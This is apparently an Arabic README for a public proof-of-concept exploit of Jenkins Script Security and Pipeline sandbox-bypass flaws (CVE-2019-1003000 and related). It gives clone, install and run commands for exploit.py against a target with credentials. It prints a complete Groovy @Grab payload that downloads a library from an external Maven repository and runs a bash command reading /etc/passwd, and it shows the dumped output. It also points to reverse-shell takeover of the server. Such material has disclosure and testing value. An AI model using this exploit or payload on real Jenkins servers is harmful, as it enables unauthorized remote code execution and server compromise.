
إثبات المفهوم لثغرات تنفيذ الأوامر عن بعد في Jenkins: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)
إثبات مفهوم يسمح للمستخدمين الذين لديهم صلاحية Overall/Read وصلاحية Job/Configure (واختيارياً Job/Build) بتجاوز حماية الصندوق الرمل (sandbox) وتنفيذ كود عشوائي على عقدة Jenkins الرئيسية أو التابعة.
تحديث: مقال بقلم أورانج تساي يشرح سلسلة الاستغلال باستخدام CVE-2018-1000861 و CVE-2019-1003000 التي تتجاوز الحاجة إلى صلاحية Overall/Read لـ RCE بدون توثيق مسبق: http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
$ git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
$ cd cve-2019-1003000-jenkins-rce-poc
$ pip install -r requirements.txt
مرر عنوان الهدف واسم الوظيفة وبيانات اعتماد اسم المستخدم/كلمة المرور والأمر النظامي المراد تنفيذه كوسائط.
$ python exploit.py --url http://jenkins-site.com --job job_name --username your_user --password your_passwd --cmd "cat /etc/passwd"
مقتبس من Red Hat Bugzilla - Bug 1667566:
تم العثور على خلل في Pipeline: Declarative Plugin قبل الإصدار 1.3.4.1، و Pipeline: Groovy Plugin قبل الإصدار 2.61.1، و Script Security Plugin قبل الإصدار 1.50. يمكن تجاوز حماية صندوق الرمل (Script Security sandbox) أثناء مرحلة تجميع النص البرمجي عن طريق تطبيق تعليقات تحويل AST مثل @Grab على عناصر الكود المصدري. يتأثر كل من REST APIs للتحقق من صحة الـ pipeline وتنفيذ النص البرمجي/الـ pipeline الفعلي. سمح هذا للمستخدمين الذين لديهم صلاحية Overall/Read، أو القادرين على التحكم في Jenkinsfile أو محتويات مكتبة الـ Pipeline المشتركة في SCM، بتجاوز حماية الصندوق الرمل وتنفيذ كود عشوائي على عقدة Jenkins الرئيسية أو التابعة. جميع تحويلات AST غير الآمنة المعروفة في Groovy أصبحت محظورة الآن في النصوص البرمجية المحصورة في الصندوق الرمل.
يستخدم إثبات المفهوم هذا مستخدمًا لديه صلاحية Overall/Read و Job/Configure لتنفيذ نص بناء معدّل بشكل خبيث في وضع الصندوق الرمل، ومحاولة تجاوز قيود وضع الصندوق الرمل لتشغيل نصوص برمجية عشوائية (في هذه الحالة، سنقوم بتنفيذ أمر نظام).
كخلفية، يتم كتابة نص بناء الـ pipeline الخاص بـ Jenkins بلغة Groovy. سيتم تجميع هذا النص البرمجي وتنفيذه على عقدة Jenkins الرئيسية أو التابعة، ويحتوي على تعريف الـ pipeline، مثل ما يجب فعله في العقد التابعة. يوفر Jenkins أيضًا النص البرمجي ليتم تنفيذه في وضع الصندوق الرمل. في وضع الصندوق الرمل، يتم حظر جميع الوظائف الخطيرة، لذا لا يمكن للمستخدم العادي فعل أي شيء ضار لخادم Jenkins.
ومع ذلك، نظرًا لأن نص البناء مكتوب بلغة Groovy، يمكننا استخدام أي فئة أو دالة في حزم Java (لكن في وضع الصندوق الرمل، يتم حظر الوظائف المضمنة الخطيرة). في هذه الحالة، نستخدم تعليقات تحويل AST @Grab لجعل Jenkins يستورد حزم Java عشوائية من مستودع Maven خارجي. في إثبات المفهوم هذا، أستخدم فئة ProcBuilder المعرفة في org.buildobjects:jproc:2.2.3 لتشغيل أمر شل النظام.
الحمولة (payload) معرفة كالتالي:
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString()
سيتم تجميع النص البرمجي أعلاه وتنفيذه على عقدة Jenkins الرئيسية أو التابعة. بعد اكتمال بناء الوظيفة، يمكننا رؤية نتيجة أمر الشل cat /etc/passwd في إخراج وحدة التحكم للوظيفة. علاوة على ذلك، يمكننا استخدام RCE هذا للحصول على شل عكسي، و السيطرة فعليًا على خادم Jenkins!
يتم توفير مثال لـ Jenkins ضعيف في هذا المستودع في الدليل sample-vuln بتنسيق حاوية Docker. بعد التشغيل، ستستضيف صورة الحاوية موقع Jenkins على المنفذ tcp/8080، مع مستخدم عادي لديه صلاحية Overall/Read + Job/Configure + Job/Build مع بيانات اعتماد user1:user1، ووظيفة pipeline بمعرف my-pipeline.
$ cd sample-vuln
$ ./run.sh
$ cd ..
$ python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash
[Pipeline] End of Pipeline
Finished: SUCCESS